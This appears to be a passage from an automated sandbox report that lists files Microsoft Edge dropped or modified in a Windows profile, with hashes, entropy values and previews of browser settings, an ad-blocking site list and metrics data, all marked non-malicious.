Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	8267
Entropy (8bit):	5.804947481080793
Encrypted:	false
SSDEEP:	192:fsNAjzeiRU6/QQqkKi6qRAq1k8SPxVLZ7VTiQ:fsNAbJ/tpKi6q3QxVNZTiQ
MD5:	1C74D2D16AD322615DC5B14425EF7AAB
SHA1:	1D6A60F0427904B6D2FF15316649E65F1A68EB19
SHA-256:	66760A7A91B6BB4A087E75C4E5688961A93D694D5FF66D2E4521ACB541E4F949
SHA-512:	C692A8BC15D1F5101F5BC4F846B1760EBF77327B31D7558041F59007A8E9EFC6A5893457AB4A1DBE72D97027622DE00F02A4DFA1DE1180EFC14E57004EFE2DD9
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"dual_engine":{"ie_to_edge":{"redirection_mode":0}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false},"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Ve

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\1585d8e5-0279-485d-8654-09e227755f75.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.791499145001439
Encrypted:	false
SSDEEP:	96:iaqkHfLe9g5ih/cI9URLl8RotooMFVvlwhfe4IbONIeTC6XQS0qGqk+Z4uj+rjEy:akjaeiRUbhx6qRAq1k8SPxVLZ7VTiq
MD5:	8C6A106D138B877EFAE91678CD155DAB
SHA1:	029C53379786AF050A5CFF9FC707888C8A2FA29E
SHA-256:	AFB5B96FF16CFFC0B9DF49EDBF1A11CA7AFBE2FC705F956C6E627A0720F8B188
SHA-512:	1AD07A79CC2E74DE7D86960AEF1C6D83C065B3328EEE4D9EDA24C27464DADF6ECA88DC08CDE99D23D7DC12A8DFA9556797959684BEB17F4C4CAB06F668E08C71
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABy9YQ7LCnWRJ+/487TL6/NEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAAS6Ia3cNJggw8iDNeQI+J5paPRzIEy6L1bH4t589aHuAAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\2b96d871-bd2c-4542-a9f5-70958db7cb8a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	9456
Entropy (8bit):	5.839539974533574
Encrypted:	false
SSDEEP:	192:fsNwjzeiRUN/bxyl/hcel1TlkKb96qRAq1k8SPxVLZ7VTiB:fsNwb4/tylZc6T2Kb96q3QxVNZTiB
MD5:	6C44FD41D85BD4F4988F00940ACE0787
SHA1:	3C0D1CE2A4D854F6A9E709FE73978555C4272340
SHA-256:	D8C6DA344841090A9E2EC309D0F55BCA97A3678AF75382321B5708FA29C17E89
SHA-512:	B8E3118F76438610334F7CE54F61E61A52479B6AA62F4D2652D423AE9BA6538DA8AF2BF5D66BA3CA9D32EF2210B6C81D6669B7D4C7FE5578B9967A4E65C4522F
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"dual_engine":{"ie_to_edge":{"redirection_mode":0}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false},"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"fire_local_softlanding_notification":false,"fre":{"oem_bookmarks_set":true,"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\43422bd2-4a78-4acb-b07c-16f9e1ba2c60.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	9440
Entropy (8bit):	5.839614672529397
Encrypted:	false
SSDEEP:	192:fsNwjzeiRUN/bxyl/hceIyTkKv96qRAq1k8SPxVLZ7VTiB:fsNwb4/tylZcCQKv96q3QxVNZTiB
MD5:	B2FC582BA20744C5885DA5391E186EA3
SHA1:	55B0A9F02912594982E103075AEEF8DC713AB9C1
SHA-256:	CD5BAA64F63249795267F01DE1AFC7B5D083B1E6BA185BE6741256A96C3D010F
SHA-512:	76F1C7F7B452AC2B63A9A39716EE1D3502ACDF1C68ED82BBFE79F477E4533489E9DFBEF5F32C1D128F85C52DBD2BEADA062D38B8ABAB83140F139230F99DD515
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"dual_engine":{"ie_to_edge":{"redirection_mode":0}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false},"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"fire_local_softlanding_notification":false,"fre":{"oem_bookmarks_set":true,"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\68ebcd5c-012b-4b7d-8e8d-59e073439991.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	26732
Entropy (8bit):	6.04583535765873
Encrypted:	false
SSDEEP:	768:ZMGQ7FCYXGIgtDAWtJ4nZGYLhzzDHh02tdl:ZMGQ5XMBGJhzJN
MD5:	B79EA21B5483F0DE8DF12BCD88749A6C
SHA1:	54C5C82027D30B62981FD5EA74DAB73EE60DC72C
SHA-256:	D0971FDD3EE75845B5E8D67C2BA8645B3D0571689F15351D1623DA4068712667
SHA-512:	215D3153A6BB060722F311C126667480ECD4A1DFBF07FA7E3FFDA5C34C669F0E8304380605F2C6579CB21F3A50B20BA58C0799A6DCFB88788DEDC6C3C1A2CAF9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13369625309860435","browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg8mcY6CmCjTJCmtsWFOcUf5vj04cw0e1yZe2WAl8svFn5IC43jfc+dLnGrEyDwAicHCxNdhlrVa5LEtTgt5u2lAK02pd1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\837ee30e-ff6a-47ba-81b1-f4f6bf03f5e8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24070
Entropy (8bit):	6.045354206590978
Encrypted:	false
SSDEEP:	384:TtMGQ7LBjuYXGIgtDAW5u0TDJ2q03XsNw+G1WD2IpKZ+Mh0lkdHd5qC:ZMGQ7FCYXGIgtDAWtJ4nDGdpKNh02tdl
MD5:	301C8F77697338BBF76DE1EAD5B4DDEC
SHA1:	BD0D295E92D763287F7EB741A0303CD33ECD6E7A
SHA-256:	A8485C9A381007D1ABC219A1DD6B24EB90E2638E319265F5C354FE057760C1E7
SHA-512:	9357ED3655944A53ED20E4425A6EB64D8605106352E9B7C6185EB872826877A280162DB210AABAAFE15ED16A24C87D2AB660183B768AC236AF428A1F49D55408
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13369625309860435","browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg8mcY6CmCjTJCmtsWFOcUf5vj04cw0e1yZe2WAl8svFn5IC43jfc+dLnGrEyDwAicHCxNdhlrVa5LEtTgt5u2lAK02pd1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\8ffd8a24-ca70-4ba5-9f2e-fba01234ccb2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	8349
Entropy (8bit):	5.798740485410067
Encrypted:	false
SSDEEP:	192:fsNwjzeiRUN/QQqkKi6qRAq1k8SPxVLZ7VTiQ:fsNwb4/tpKi6q3QxVNZTiQ
MD5:	6E63BCD279C14814C091CA606C0CA2A5
SHA1:	07083E3E13A938BA1F3BB78349B6D1D9BB420FA0
SHA-256:	3E2DC14022C8AB87EE812D63716D14AC2FA27F8053A050FF354CC39DB7C1AB75
SHA-512:	F9394437D39F4DC97054902895CCD69C781CB785DAD01F239CAA4CB681863047A43EC2B1DE5123DFC4B13B110128B92A0BAD54C50DF370ED88D3A12A3B85C928
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"dual_engine":{"ie_to_edge":{"redirection_mode":0}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false},"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"fire_local_softlanding_notification":false,"fre":{"oem_bookmarks_set":true,"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640145133154881
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7Y:fwUQC5VwBIiElEd2K57P7Y
MD5:	46BC3CA050C9032312C051408F8C6227
SHA1:	4EC92F610AC217A2AB2927A8B71AD8BF5157D72D
SHA-256:	CB9C9EED0F363C3193E8676B326299AED296899E17323BA2D48619BAF5249FC6
SHA-512:	BB3126EBAD87C08B80CF3125BCDF838CEB7012F72B142B6CE67C8DAB7E57C52478876CAF19ECAC5670D5A0C2C3505F92DFB2E3013791359BFDD7094B29FC157F
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\e4b60841-fe52-4f7b-9ca1-c2939a151854.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640145133154881
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7Y:fwUQC5VwBIiElEd2K57P7Y
MD5:	46BC3CA050C9032312C051408F8C6227
SHA1:	4EC92F610AC217A2AB2927A8B71AD8BF5157D72D
SHA-256:	CB9C9EED0F363C3193E8676B326299AED296899E17323BA2D48619BAF5249FC6
SHA-512:	BB3126EBAD87C08B80CF3125BCDF838CEB7012F72B142B6CE67C8DAB7E57C52478876CAF19ECAC5670D5A0C2C3505F92DFB2E3013791359BFDD7094B29FC157F
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-66D3B9DD-1F0C.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.3708632841237767
Encrypted:	false
SSDEEP:	3072:LXiMZCITfgBEMBJm0Z3opV7S5Vk51rO3YjGU09mlllhP0AzfPACcmqe62sDsfMVX:d3knVsrO3YJ9D+waBaH1+qDc
MD5:	B3A932720E92E0344D50F9C2C7CD8718
SHA1:	490865C73039654CC5B2C5B00449C3E7D645832A
SHA-256:	A8C59FE2AE12D333294037C8069F8FA8DA4B12EF0099DD642D1C2FE136C86F9F
SHA-512:	D193A91A943DB8CD5C34A18B56F1C7B8F1B805ADE92D4B64037B3CC890EEF11C9EE7ACBB6891F6D16CF7B908C8AAAC757B8DAA1E56711D06CCDCE9294E2F5288
Malicious:	false
Preview:	...@..@...@.....C.].....@...............(...@...............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB*...Windows NT..10.0.190452....x86_64..?........".rpijpc20,1(.0..8..B....(.....10.0.19041.5462.Google Inc. (Google):bANGLE (Google, Vulkan 1.3.0 (SwiftShader Device (Subzero) (0x0000C0DE)), SwiftShader driver-5.0.0)M..BU..Be...?j...GenuineIntel... .. ..............x86_64...J../T...^o..J...Y...^o..J..w....^o..J..A....^o..J....c..^o..J...c=..^o..J....J..^o..J..3.(..^o..J.......^o..J...#...^o..J....k..^o..J....-..^o..J..S..O.^o..J..l.zL.^o..J..1.9..^o..J..@."..^o..J..?U...^o..J..aV...^o..J..z{...^o..J..n....^o..J..0....^o..J...@...^o..J...I.r.^o..J......^o..J..ZK...^o..J.....^o..J..@N...^o..J.......^o..J...'x#.^o..J......^o..J....\.^o..J.....f.^o.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-66D3B9E5-1B30.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.03970184713177935
Encrypted:	false
SSDEEP:	192:lG0EbtmqvDtKX73JEa3XxxTVwg7X8iV0DA5DhAVN/K+O1gQtU8rpq01n8y08TcmQ:80EtMeQtxnhUHagn8lX108T2RGOD
MD5:	821B4FFA2B78D2519F4CDEEA7E98DD8B
SHA1:	C1715636FD974B3030E68910023112C1F39FFB00
SHA-256:	0DA18CEC05477F5F91ADC5831F740379877696D05AAD503AC1617CAD2D4234D5
SHA-512:	69BCBFE988440B446F8F086EDFC8E91C082B7AA4B48E88A201F2CEDF15814680E2F43929080E7053F0B9BB31FC41A04C19ED1EB3432EDC330CC311F224D78B3A
Malicious:	false
Preview:	...@..@...@.....C.].....@...............0`...O..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30....q.........117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".rpijpc20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@............./......................w..U].0r........>.........."....."...2..."..:............B)..1.3.147.37.. .*.RegKeyNotFound2.windowsR...Z.....K7..E@..$...SF@.......Y@.......Y@.......Y@........?........?.................?.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@................Y@.......Y@.......Y@........?........?z...........................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-66D3B9ED-26B4.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.038771185120022277
Encrypted:	false
SSDEEP:	192:Mu0EbtmqvD3KX7eDJEa3Xxx7UpXxgg6zfhj1NEx7GtM1gQMyzO3Vqln8y08Tcm2D:h0EtdDeZVQh52WsguzQS08T2RGOD
MD5:	50F5B2FDD9175B69E7B4DE948A0F305D
SHA1:	6BC525DCC23DDD290997E2B83719D9CF923053C5
SHA-256:	83282B5C297E069EC99944FF1A43E1E18AFC2ECA6085D11B6293CE9E7B6E9E74
SHA-512:	240440BCD17646C7F1CD59FAEE28C7CA2C08B49E285851A1A3AC5045B49705B970E65E3941F2F156DBBF0BDE94F19450ADF5895FD15060AE7162AD909FD69B1B
Malicious:	false
Preview:	...@..@...@.....C.].....@................\..PL..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30....q.........117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".rpijpc20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@............./......................w..U].0r........>.........."....."...2..."..:............B)..1.3.147.37.. .*.RegKeyNotFound2.windowsR...Z.....K7..E@..$...SF@.......Y@.......Y@.......Y@........?........?.................?.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@................Y@.......Y@.......Y@........?........?z...........................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-66D3B9FA-2200.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.038873202837361696
Encrypted:	false
SSDEEP:	192:+V0EbtmqvD3KX7CJEa3Xxx7UpXxgg6zfhj1NErZGtM1gQMVzOgXq2n8y08Tcm2Rl:Q0EtXeZVQh5WWsgBzzh08T2RGOD
MD5:	F79AD04A07938185BA57E10DBC998C1C
SHA1:	865F749E801F195EDE3C8847EA34E63549310123
SHA-256:	D037960ED59EA4EF53FA3B94B1B94FF8DE38F94D0094AC4F2BC885E52C7A9903
SHA-512:	FEEB049252F545ACF4D58302B8C98D1B18145FCBC451BF720A3E809AA39F853F2FCAFDAF54E6ED44E758A35AE239ED7493E312E96756D7FEF6578D58314031CD
Malicious:	false
Preview:	...@..@...@.....C.].....@...............8^...M..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30....}.........117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".rpijpc20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J...I.r.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@............./......................w..U].0r........>.........."....."...2..."..:............B)..1.3.147.37.. .*.RegKeyNotFound2.windowsR...Z.....K7..E@..$...SF@.......Y@.......Y@.......Y@........?........?.................?.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@................Y@.......Y@.......Y@........?........?z...............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\CrashpadMetrics-active.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.3553968406659012
Encrypted:	false
SSDEEP:	12:biUXhV0xosU8xCe+JKlkQuMRxCb8ZXfgYJ0IJpP0KLsyW1L7Fx6:bFRqxosU8xWMk8xVZ4YWI30otWn
MD5:	CFAB81B800EDABACBF6CB61AA78D5258
SHA1:	2730D4DA1BE7238D701DC84EB708A064B8D1CF27
SHA-256:	452A5479B9A2E03612576C30D30E6F51F51274CD30EF576EA1E71D20C657376F
SHA-512:	EC188B0EE4D3DAABC26799B34EE471BEE988BDD7CEB011ED7DF3D4CF26F98932BBBB4B70DC2B7FD4DF9A3981B3CE22F4B5BE4A0DB97514D526E521575EFB2EC6
Malicious:	false
Preview:	...@.@...@..............@...................................`... ...i.y.........CrashpadMetrics.....i.y..Yd.h.......A.......e............,.........W.......................W....................Microsoft.UMA.PersistentAllocator.CrashpadMetrics.UsedPct.......h...i.y.[".................................!...&...+...0...6...;...@...E...K...P...U...Z...`...e...........i.y..Yd.........A............................E.[4.f..................E.[4.f.................Microsoft.UMA.PersistentAllocator.CrashpadMetrics.Errors............i.y..Yd.........A..................._..-`....h-.....................h-....................Crashpad.HandlerLifetimeMilestone.......0...i.y.[".........................................i.y..Yd.@.......C...........................VM....],................WM....],................Stability.BrowserExitCodes...... ...i.y......VM....],........H...i.y.1U!S............................................................ ...i.y...0...WM....],........................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	3.060980776278344
Encrypted:	false
SSDEEP:	3:FiWWltl/9UgBVP/Sh/JzvLi2RRIxINXj1J1:o1//BVsJDG2Yq
MD5:	74B32A83C9311607EB525C6E23854EE0
